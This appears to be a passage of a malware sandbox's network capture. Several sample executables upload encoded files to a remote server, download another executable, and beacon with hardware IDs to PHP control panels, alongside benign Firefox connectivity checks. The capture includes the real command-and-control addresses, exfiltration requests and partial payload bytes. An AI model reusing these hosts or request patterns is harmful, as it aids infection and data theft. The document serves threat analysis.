Nov 23, 2024 03:21:47.231045961 CET	641	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 462 Content-Type: multipart/form-data; boundary=------------------------suWdlJFMg9moTNUBbW9GQt Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 73 75 57 64 6c 4a 46 4d 67 39 6d 6f 54 4e 55 42 62 57 39 47 51 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 6f 64 61 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 33 ea ed 13 5f a9 73 97 c9 48 56 db 8d 4a 64 fc 3a ca 5f 0a 73 28 76 c3 a8 94 4e 58 3f 51 03 39 9b a3 4e f7 ab 92 ee 2e 6b 65 dc 1a 86 6f cc ff 0f e7 29 59 7d 1c c3 3a cd 92 8a f6 4c 7d 4e cb 9d 05 9c 56 6b 4c dc b8 c6 90 f7 d8 87 81 74 02 92 97 b8 80 a1 58 29 c1 69 1b 58 35 54 59 6f 70 b0 bb f1 09 4d 6c 4b a5 ed 3d cc 14 4f 54 a3 2f 1c 1b be ef e1 15 82 7d 18 f8 8a 42 5b 34 d0 f3 9e 8b c9 cc 7a 7a b7 80 df d2 b1 cd 1b 83 5f 45 da dd c1 d1 e7 c2 03 9f 5f 6b cc ec 87 09 8e bd e8 3b 72 7f 62 f3 f6 39 db ca a1 fd f8 b1 e2 ee a8 df [TRUNCATED] Data Ascii: --------------------------suWdlJFMg9moTNUBbW9GQtContent-Disposition: form-data; name="file"; filename="Nodava.bin"Content-Type: application/octet-stream3_sHVJd:_s(vNX?Q9N.keo)Y}:L}NVkLtX)iX5TYopMlK=OT/}B[4zz_E_k;rb9@P!)oda1m5qkPZ#=sYIS5^]--------------------------suWdlJFMg9moTNUBbW9GQt--
Nov 23, 2024 03:21:48.617527962 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 02:21:48 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49877	34.116.198.130	80	7860	C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:50.063507080 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 81063 Content-Type: multipart/form-data; boundary=------------------------Zyo9NyWcWFVCAZuiOVkg8c Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 5a 79 6f 39 4e 79 57 63 57 46 56 43 41 5a 75 69 4f 56 6b 67 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 51 69 72 65 72 69 66 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 56 5f 85 1d be 54 95 25 45 81 1e 96 0e d2 73 9c c6 a8 34 1f aa 68 f1 3a da 76 2b 5f db ca 58 5f 06 91 7c b0 18 2a e5 88 60 5a ec 7c 5d de e6 14 e3 18 26 42 ae c4 02 e9 3e 9b 56 98 72 19 05 22 95 a8 bf a5 e7 ab d8 e8 8b f4 ef 8a 59 44 65 b9 d2 7f c6 50 57 db 2c 0c 8a 03 a0 e2 26 b6 1f b5 40 d7 a0 39 72 c5 c1 ac a3 de 87 55 7e 76 01 fe ae 1f 03 25 c4 c9 69 fe 8a e9 d0 69 82 b8 19 3f 58 40 45 a4 25 0e d4 88 e1 90 f3 55 91 00 11 89 d2 8f 8e 57 10 fb ac b9 34 30 e2 53 60 ca db 2b 20 d5 9d b6 45 25 fd aa e9 87 ba a4 8b 5c 96 b5 6f [TRUNCATED] Data Ascii: --------------------------Zyo9NyWcWFVCAZuiOVkg8cContent-Disposition: form-data; name="file"; filename="Qirerif.bin"Content-Type: application/octet-streamV_T%Es4h:v+_X_\|*`Z\|]&B>Vr"YDePW,&@9rU~v%ii?X@E%UW40S`+ E%\o{J<{Xn,Av7_DlZqWxHDrQUoYlLpE55nuG1'cngD^Qi:?~>";Z4j+^\|!KLL$tu-{=2XO? p}ac\|'f3:#,:,u,MgRO2bFMB$f/be"Qy`+ydkl:VxrYX{\0tN5i(FP s0lhK\|zX!%XMt"k=IbY\|Q+E+4GmF`K1BFe()V<3:j(A^?5C\|!ChHC&cmlc^}T#U5)Tz.qC,1)2io6A\|cOM$(Wg4\OGTEx\tV6HEEv`$gWAy14SK)SakuSs"QA>+}6.B?h [TRUNCATED]
Nov 23, 2024 03:21:50.318545103 CET	23484	OUT	Data Raw: 4e 1f 20 f2 61 3b fe 6e dc 96 28 31 7b 80 87 89 f7 68 8e 97 17 6b 62 c0 c1 8f 47 fe b2 e7 a9 ab af 81 cb 7e e7 16 69 ea 5b 37 3d fb 69 f7 cd 0f 4a ae 0c 80 0b 31 09 d5 e3 73 6b 05 6d 33 5b bd e0 8f 60 db f3 f2 c9 b2 de 59 3a 60 a1 84 be c6 4c 3b Data Ascii: N a;n(1{hkbG~i[7=iJ1skm3[`Y:`L;}8:->arW[I%7p(jN.\|VO:2Q!RRu>bfxVYC^,{\|awV>o,H#ZD72
Nov 23, 2024 03:21:50.439475060 CET	8652	OUT	Data Raw: 30 89 6a 9a b8 aa 44 3b 29 b0 9c d8 57 dc d0 97 f0 23 cf 6b ae 53 ce c5 d7 14 a4 00 5b 0f 6d 3f f7 7d d5 bc b8 8f af 6c 48 00 06 ab e4 2c 87 26 0e 27 53 94 db 02 a6 d7 21 8c a6 b5 4d f5 5e 19 dc 27 a3 99 8b 34 c1 db 63 8a a3 8d 09 00 f4 b9 ba 56 Data Ascii: 0jD;)W#kS[m?}lH,&'S!M^'4cVkx0^+0QW_9l]j$TBAkwLHN!9RAM(_$?(Eb[<jG?Y&G"X3Ip'.prenHQB'C-
Nov 23, 2024 03:21:50.479242086 CET	18540	OUT	Data Raw: d1 fa a8 95 79 77 5f 34 bb 09 18 76 38 f7 8e 7e 5e 8d 5f 11 f3 7c 8d f8 5a 6a 16 42 38 7f 33 ae 77 4b 91 bd 38 0e 3d 34 2f 6d 25 04 6d 4d 55 6a 47 09 ba 0e 48 c5 f7 62 35 ba c2 1d c4 ca 46 0b b6 96 c5 a1 d3 07 c2 5e 1e 0f 2d 79 5d 90 b5 32 c6 f0 Data Ascii: yw_4v8~^_\|ZjB83wK8=4/m%mMUjGHb5F^-y]2"<e odHEw;EA+[NnnH6fs<7mz,EA;i\|%z.z6lNdEEb>S:Y}^>ei/-]-Y:w9[#R
Nov 23, 2024 03:21:50.602314949 CET	12360	OUT	Data Raw: 25 8c 98 d7 3c 77 7f fa 0e 72 c0 9f da cb c7 15 df 7f 8f 57 1c 16 71 41 98 ab 89 5c e1 de 64 be bd bc 13 e7 d5 01 94 13 f7 6a 54 da e8 5b 9f fb 84 20 ae 26 24 fe 96 1e 44 42 63 ec be 5b be 76 d4 d0 f1 56 e8 0b b3 c8 57 4c 4e d6 72 bb ba 97 d1 2c Data Ascii: %<wrWqA\djT[ &$DBc[vVWLNr,6UqXc,JgV&64O9VEEgpM/[5q.*4fn5yiI(%MPRn&F&8~U4#H<sy!$@#FQWx
Nov 23, 2024 03:21:50.654686928 CET	5848	OUT	Data Raw: 8c d2 6e b3 af e4 3a 0c 1f 51 39 7a 9c b2 68 46 c8 8a a6 d2 76 f3 27 94 02 d4 3b 36 e7 1d c3 31 5d 3f 8a 19 66 b8 fd 9e 39 46 fb 67 7f d8 95 e6 76 69 e7 7d 95 48 36 01 31 8b ac fe 85 ab f4 37 aa 42 bc ff de ef 05 8e fb da f0 62 e5 0b 3e 08 e4 57 Data Ascii: n:Q9zhFv';61]?f9Fgvi}H617Bb>WW 3[KDv1QF)8X^~\.mjk/d2ue8<<R:?Fooxw&)b/MtKU_~JSR8J
Nov 23, 2024 03:21:51.953362942 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 02:21:51 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49892	34.107.221.82	80	7072	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:53.202025890 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:21:54.384675026 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66831 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49900	185.215.113.16	80	8096	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:54.472055912 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 03:21:55.848625898 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:21:55 GMT Content-Type: application/octet-stream Content-Length: 2726400 Last-Modified: Sat, 23 Nov 2024 01:51:40 GMT Connection: keep-alive ETag: "6741352c-299a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 96 c5 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ @)`Ui` @ @.rsrc`2@.idata 8@sazuwdld@)8):@giqmsvmy )r)@.taggant@"x)@
Nov 23, 2024 03:21:55.848702908 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:55.848829031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:55.848870039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:55.848879099 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:55.849535942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:55.849577904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:55.849586010 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:55.849981070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:55.850090981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:55.979609013 CET	1236	IN	Data Raw: f3 78 ec c5 ec be 29 72 c8 de 9f db 29 c9 d7 be 9e 2e 3d aa 8d 85 e3 d9 1e c3 04 a1 18 d3 90 d4 2f 94 36 97 0d b4 c3 f3 d4 b2 6c bd c4 c1 c3 a4 8d ae 12 ab fb 3d 28 90 c2 9e 08 16 80 b8 92 9f 92 af cf 67 c9 9e 0b f6 61 cb f9 17 80 b8 92 01 93 a3 Data Ascii: x)r).=/6l=(ga%oO.?p+iXE2'}N*#^<K"Ae (1<.&9e,<h(xZIf0'.9.V2q4w&B(Aec%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49910	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:56.305793047 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 33 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008330001&unit=246122658369
Nov 23, 2024 03:21:57.744308949 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49922	34.107.221.82	80	7072	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:59.325274944 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:22:00.455724001 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73538 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:22:10.472495079 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49923	34.107.221.82	80	7072	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:59.325390100 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:22:00.503531933 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66837 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:22:10.504496098 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49924	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:59.507515907 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:22:00.891303062 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49933	185.215.113.206	80	3428	C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:01.827250004 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 03:22:03.265116930 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:22:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 03:22:03.267481089 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 32 31 30 38 31 44 35 42 44 44 36 33 33 30 35 32 39 38 33 36 36 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 2d 2d 0d 0a Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="hwid"D21081D5BDD63305298366------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="build"mars------AAFIJKKEHJDHJKFIECAA--
Nov 23, 2024 03:22:03.742954016 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:22:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49940	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:02.531507969 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:22:03.934166908 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49949	34.116.198.130	80	7860	C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:05.442977905 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 23416 Content-Type: multipart/form-data; boundary=------------------------yB3LxmJz8bTlrUUXgF2G2s Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 79 42 33 4c 78 6d 4a 7a 38 62 54 6c 72 55 55 58 67 46 32 47 32 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4a 6f 63 61 62 69 68 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 65 22 dd 0d 5d f3 14 8e 08 01 31 83 8e 6a 05 21 12 03 35 93 f1 72 5c b0 1f 86 73 95 f1 59 64 dd 73 57 97 ac 9a 59 da 48 4e 85 f5 e4 54 f5 f6 9c 6d 04 31 e6 d2 2a 51 43 9d 83 54 44 ed db e2 0c 0a 2a 80 91 26 8e 75 7a f9 a4 5e 30 7a 5a 21 9c 57 32 9b 88 7e fd cd 5e 86 2b c7 54 70 53 18 15 af d4 1c 76 14 1f 1d 88 58 67 8c 4e cb d7 18 37 8d a2 5f 04 a8 75 87 d2 44 ab 2a 4c 09 05 e9 cf fb 45 c9 cb e6 06 5a c9 02 ba 6a 76 c5 2d 47 05 09 9a c0 41 05 19 51 77 30 22 9e 2c 1d 08 ff 8b 3a e3 61 01 8c 26 11 40 da 4f f5 ce a9 e6 f3 fb [TRUNCATED] Data Ascii: --------------------------yB3LxmJz8bTlrUUXgF2G2sContent-Disposition: form-data; name="file"; filename="Jocabiho.bin"Content-Type: application/octet-streame"]1j!5r\sYdsWYHNTm1QCTD&uz^0zZ!W2~^+TpSvXgN7_uDLEZjv-GAQw0",:a&@O(ac!KGhJ_aVzkEE%q>CI!3[ ,1@Or7SxBg,GmL3z>Z0FgkGe%9[stZn93a^/k+0"@h,QCUpj/i?>D[x)L0marMt'plal[w8WHnGT*3MHGB##P00L>C{+bA1CQO,-)}&Hn#$K?>(dnG_n;xzufI1Ft&93,79UZw$xd]V<llt3}'(aS0U=_)Yc1V,2#xRRWUoL(E&2wsvBv8`O^f8GY;V>?P'!X01{B XsJs;G`s%O{Y]P?8S.2l\f [TRUNCATED]
Nov 23, 2024 03:22:05.562828064 CET	9888	OUT	Data Raw: fb bb b5 cb d2 73 03 b6 25 74 65 0b c9 3b bd 07 52 60 98 22 c6 e6 98 a2 16 56 2f 9c ae fb ce 02 53 4a e7 25 f9 24 5b da 14 c3 9c 2b 8b 5b 5e 62 48 e7 ec 96 a5 96 69 24 ca 9d 6b 2e f6 eb d8 b0 fd 3c c6 77 c6 b0 11 4b b6 b5 10 ae 13 b8 f3 bc 6c 62 Data Ascii: s%te;R`"V/SJ%$[+[^bHi$k.<wKlbx+:@y )(smf\OP/ME@&54>,P8Hp+;TC,17ZD[TSZNg -+:B,}!hz:qz4WWkpG\|zr[zeJW
